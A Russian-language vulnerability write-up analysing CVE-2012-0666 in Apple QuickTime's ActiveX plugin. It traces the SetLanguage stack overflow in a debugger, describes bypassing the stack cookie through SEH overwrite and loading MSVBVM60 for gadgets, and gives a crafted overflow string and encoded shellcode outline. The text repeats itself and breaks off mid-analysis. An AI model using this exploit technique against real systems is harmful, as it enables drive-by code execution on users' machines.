Всем доброго времени суток.
В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.
Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP-цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.
Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage:
Данная HTLM страница содержит встроенный QuickTime объект (как встраивать объект описано здесь), а также скрипт который вызывает метод SetLanguage этого объекта. Для упрощения встраивание объекта в данную HTML страницу выполнено через тег <OBJECT> т.к. мы будем тестировать эксплоит в InternetExplorer’е. Сохраняем страницу с расширением HTML и открываем в браузере:
Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl, для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:
Вот ее прототип из MSDN:
Первым параметром передается идентификатор кокласса (CLSID), вторым интерфейс (IID), в последнем параметре функция возвращает указатель на объект нужного интерфейса. Чтобы найти нужный CLSID нужно анализировать библиотеку типов из QTPlugin.ocx. Для этого можно воспользоваться любым просмотрщиком OLE, к примеру OLE View. Открываем нужный OCX для просмотра библиотеки типов и смотрим список коклассов:
Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:
Видим что нужный нам CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}. Также извлекаем IID интерфейса IQTPluginControl = {02BF25D3-8C17-4B23-BC80-D3488ABDDC6B}. Теперь для того чтобы перехватить создание класса нужно проанализировать первый параметр функции DllGetClassObject и если он указывает на этот идентифкатор, то возвратится нужный нам объект. Далее просто обновляем страницу, и выполнение прерывается на этой функции:
Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}, а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:
Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:
Метод CreateInstance вызывается для создания объекта, в качестве riid передается указатель на нужный интерфейс возвращаемый в параметре ppvObject.
Как видно из описания этот интерфейс наследуется от IUnknown (каждый COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу описание этого интерфейса:
Наследование показывает что таблица виртуальных методов просто повторяет базовую вслед за которой идут элементы уже непосредственно описываемого интерфейса. В нашем случае таблица методов будет следующей:
Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:
Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance:
Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:
Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch:
При каждом вызове из скрипта метода объекта вызывается пара GetIDsOfNames с именем метода который возвращает идентификатор метода DISPID, и Invoke для непосредственного вызова. Ставим брейкопоинт на GetIDsOfNames и Invoke и следим пока не будет запрошен идентификатор метода SetLanguage:
При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:
Смотрим возвращаемое значение идентификатора метода:
0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:
Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в большинстве случаев) непосредственно метод вызывается функцией DispCallFunc. Поэтому можно поставить на нее брейкпоинт и уже в ней трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С большей вероятностью это и есть метод SetLanguage. Для того чтобы точно убедиться проверим параметры:
Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian”, если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).
Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:
Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:
Что нас может здесь заинтересовать – это адрес куда преобразованная строка будет записана. Если посмотреть на значение то видно что это адрес в стеке. Итак – это потенциально возможное место уязвимости. Выходим из функции и ставим теперь брейкпоинт на преобразованной строке, возможно она будет копироваться еще куда-нибудь. Но если запустить выполнение то следующий останов будет за пределами метода IQTPluginControl::SetLanguage. Значит больше никаких манипуляций со переданными строками не было. Нужно проверить вызов WideCharToMultiByte – каким образом выделяется память для строки? Если в стеке то либо это фиксированная область, либо к примеру функция alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно что длина строки + 1 после вызова lstrlenW помещается в переменную LOCAL.5 и потом вызывается процедура по адресу 73561220:
В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400:
Если оно меньше то вызывается процедура по адресу 735623С0:
В нашем случае длина строки Russian = 7, соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut, dLen, 0x2000:
Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut:
Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к lAlgn = *pOut + (STACK - *pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~((&retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen:
Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen, и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:
Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack, но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx:
Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:
В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:
Также в HTML странице укажем этот видеофайл в качестве источника:
Обновим страницу чтобы посмотреть корректность файла:
Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx:
Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx:
В качестве первого параметра передается фиксированный буфер в стеке. Получается что можно перезаписать стек как нам угодно, т.к. в модуле QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким образом чтобы заменить адрес возврата на необходимый нам, который передаст управление коду в стеке который также будет находится в строке. Также необходимо найти модуль без ASLR поскольку мы используем фиксированные адреса. Для этой задачи напишем небольшую программу на VB6 для поиска модулей без ASLR. Исходный код и скомпилированная программа находятся в папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime” и “Common Files \Apple\Apple Application Support”:
Смотрим данный модуль в списке загруженных модулей в Internet Explorer:
Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или CALL ESP (FF D4). Запустим поиск этих команд:
Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как мы определили сначала мы работаем в условиях когда DEP отключен, иначе нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять специальную память для него с разрешением на выполнение и копировать шеллкод туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть расстояние в байтах от буфера-приемника до адреса возврата:
0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:
По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:
Также можно попробовать получить это значение из VBScript’а и подставить в строку уже готовое значение, но из скрипта прочитать это значение не так просто. Самым простым способом будет перезапись SEH обработчика исключений на свой, а в качестве строки задать очень длинную строку чтобы вызвать запись за пределы стека в невыделенную память, тем самым вызвать обработчик исключения. Для выполнения этой задачи необходимо определить ближайший SEH фрейм в котором мы изменим адрес обработчика. При вызове обработчика во втором параметре передается адрес структуры EXCEPTION_REGISTRATION в которую мы можем контролировать запись. Т.е. записав в качестве указателья на следующий обработчик шеллкод мы сможем его вызвать, передав управление на него определенной последовательностью инструкций. Итак, в этом случае нам нужно определить расстояние уже до структуры EXCEPTION_REGISTRATION в первое поле мы запишем инструкцию JMP для того чтобы перепрыгнуть адрес обработчика, а во второе адрес обработчика который еще нужно будет найти по определенным критериям.
Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 - 0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции JMP $+8 = 0x06EB, в следующие 4 мы запишем адрес обработчика исключений который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по адресу второго аргумента. Типичная последовательность инструкций POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму параметру. Последовательность может быть разной к примеру CALL DWORD [ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity Debbuger со скриптом mona. Также этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь один (icudt46.dll), и скрипт не находит в нем необходимой последовательностии инструкций, то придется загружать другой модуль в котором будет отключен ASLR и присутствовать нужная последовательность инструкций. Для этого сначала запустим поиск модулей без ASLR используя finder в системной папке. На тестируемой машине поиск выдал следующий список модулей:
Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6, она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM-объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:
Используем этот идентификатор для создания объекта на HTML странице:
Обновляем страницу и видим что модуль MSVBVM60 не загрузился. Это случилось потому что в реестре отсутствует данный идентификатор в ветке HKEY_CLASSES_ROOT\CLSID. В модуле MSVBVM60 содержится 2 библиотеки типов, поэтому попробуем получить кокласс из второй библиотеки (VBRUN):
Этот идентификатор присутствует в реестре:
Также я проверил на Win8 x64, на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:
Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:
Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.
Итак формируем строку - String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60:
Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60:
Для того чтобы полностью скопировать весь шеллкод для исполнения нужно обеспечить отсутствие нулевых байтов, поскольку это является признаком конца строки и данные обрежутся в этом месте. Для обеспечения этого условия необходимо закодировать код таким образом чтобы исключить нулевые байты. Код расшифровки должен быть маленьким и не содержать нулевых байтов поскольку он не шифруется. В вышепреведенном коде используется самое простое XOR шифрование начиная с метки start_c (0x19). Для большей гибкости можно использовать динамическое значение для шифрования, в данном коде это не требуется.
Код до шифрования:
Код после шифрования:
Теперь собираем строку используя программу StringMaker и вставляем в HTML документ:
В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.
Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP-цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.
Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage:
HTML:
<html>
<head>
<title>Test CVE-2012-0666</title>
<script language="VBScript">
Sub RunExploit()
QT.SetLanguage("Russian")
End Sub
</script>
</head>
<body>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT"></object>
<body onload="vbscript:RunExploit()">
</body>
<html>
Данная HTLM страница содержит встроенный QuickTime объект (как встраивать объект описано здесь), а также скрипт который вызывает метод SetLanguage этого объекта. Для упрощения встраивание объекта в данную HTML страницу выполнено через тег <OBJECT> т.к. мы будем тестировать эксплоит в InternetExplorer’е. Сохраняем страницу с расширением HTML и открываем в браузере:
Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl, для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:
Вот ее прототип из MSDN:
C:
HRESULT __stdcall DllGetClassObject(
_In_ REFCLSID rclsid,
_In_ REFIID riid,
_Out_ LPVOID *ppv
);
Первым параметром передается идентификатор кокласса (CLSID), вторым интерфейс (IID), в последнем параметре функция возвращает указатель на объект нужного интерфейса. Чтобы найти нужный CLSID нужно анализировать библиотеку типов из QTPlugin.ocx. Для этого можно воспользоваться любым просмотрщиком OLE, к примеру OLE View. Открываем нужный OCX для просмотра библиотеки типов и смотрим список коклассов:
Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:
C++:
[
uuid(4063BE15-3B08-470D-A0D5-B37161CFFD69),
helpstring("Apple QuickTime Plugin Control"),
control
]
coclass QTPluginControl {
[default] interface IQTPluginControl;
[default, source] dispinterface _IQTPluginControlEvents;
};
Видим что нужный нам CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}. Также извлекаем IID интерфейса IQTPluginControl = {02BF25D3-8C17-4B23-BC80-D3488ABDDC6B}. Теперь для того чтобы перехватить создание класса нужно проанализировать первый параметр функции DllGetClassObject и если он указывает на этот идентифкатор, то возвратится нужный нам объект. Далее просто обновляем страницу, и выполнение прерывается на этой функции:
Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}, а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:
Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:
C++:
[
odl,
uuid(00000001-0000-0000-C000-000000000046),
]
interface IClassFactory : stdole.IUnknown {
HRESULT CreateInstance (
[in] stdole.IUnknown*pUnkOuter,
[in] UUID *riid,
[out] void *ppvObject);
HRESULT LockServer(
[in] BOOL fLock);
}
Метод CreateInstance вызывается для создания объекта, в качестве riid передается указатель на нужный интерфейс возвращаемый в параметре ppvObject.
Как видно из описания этот интерфейс наследуется от IUnknown (каждый COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу описание этого интерфейса:
C++:
[
odl,
uuid(00000000-0000-0000-C000-000000000046),
]
interface IUnknown{
LONG QueryInterface(
[in, out] UUID *riid,
[in, out] void *ppvObject);
LONG AddRef();
LONG Release();
}
Наследование показывает что таблица виртуальных методов просто повторяет базовую вслед за которой идут элементы уже непосредственно описываемого интерфейса. В нашем случае таблица методов будет следующей:
| Назавание | Смещение |
|---|---|
| IUnknown::QueryInterface | 0x00 |
| IUnknown::AddRef | 0x04 |
| IUnknown::Release | 0x08 |
| IClassFactory::CreateInstance | 0x0c |
| IClassFactory::LockServer | 0x10 |
Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:
Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance:
Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:
Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch:
C++:
[odl,
uuid(00020400-0000-0000-C000-000000000046)]
interface IDispatch : IUnknown {
HRESULT GetTypeInfoCount(
[out, retval] int* pctinfo);
HRESULT GetTypeInfo(
[in, defaultvalue(0)] int itinfo,
[in, defaultvalue(0)] long lcid,
[out, retval] ITypeInfo **pptinfo);
LONG GetIDsOfNames(
[in] UUID* riid,
[in] LPWSTR *rgszNames,
[in] int cNames,
[in] long lcid,
[out] long *rgdispid);
LONG Invoke(
[in] long dispidMember,
[in] UUID* riid,
[in] long lcid,
[in] short wFlags,
[in] DISPPARAMS *pdispparams,
[in] long pvarResult,
[out] EXCEPINFO *pexcepinfo,
[out] int *puArgErr) };
При каждом вызове из скрипта метода объекта вызывается пара GetIDsOfNames с именем метода который возвращает идентификатор метода DISPID, и Invoke для непосредственного вызова. Ставим брейкопоинт на GetIDsOfNames и Invoke и следим пока не будет запрошен идентификатор метода SetLanguage:
При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:
Смотрим возвращаемое значение идентификатора метода:
0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:
Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в большинстве случаев) непосредственно метод вызывается функцией DispCallFunc. Поэтому можно поставить на нее брейкпоинт и уже в ней трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С большей вероятностью это и есть метод SetLanguage. Для того чтобы точно убедиться проверим параметры:
Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian”, если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).
Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:
Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:
Что нас может здесь заинтересовать – это адрес куда преобразованная строка будет записана. Если посмотреть на значение то видно что это адрес в стеке. Итак – это потенциально возможное место уязвимости. Выходим из функции и ставим теперь брейкпоинт на преобразованной строке, возможно она будет копироваться еще куда-нибудь. Но если запустить выполнение то следующий останов будет за пределами метода IQTPluginControl::SetLanguage. Значит больше никаких манипуляций со переданными строками не было. Нужно проверить вызов WideCharToMultiByte – каким образом выделяется память для строки? Если в стеке то либо это фиксированная область, либо к примеру функция alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно что длина строки + 1 после вызова lstrlenW помещается в переменную LOCAL.5 и потом вызывается процедура по адресу 73561220:
В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400:
Если оно меньше то вызывается процедура по адресу 735623С0:
В нашем случае длина строки Russian = 7, соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut, dLen, 0x2000:
Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut:
Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к lAlgn = *pOut + (STACK - *pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~((&retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen:
Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen, и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:
Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack, но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx:
Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:
Get and set the movie’s current language. Setting the language causes any tracks associated with that language to be enabled and tracks associated with other languages to be disabled. If no tracks are associated with the specified language, the movie’s language is not changed.
В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:
Код:
TEXTtext
{QTtext} {timeScale:30} {width:320} {height:240} {timeStamps:absolute} {language:15} {textEncoding:0}
{font:helvetica} {size:12} {plain} {justify:center} {dropShadow:off} {anti-alias:on}
{textColor: 65535, 65535, 65535} {backColor: 0, 0, 0}
[00:00:00.00]
{ScrollIn:on}
CVE-2012-0666
[00:00:10.00]
Также в HTML странице укажем этот видеофайл в качестве источника:
HTML:
<param name="src" value="f00002.mov">
Обновим страницу чтобы посмотреть корректность файла:
Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx:
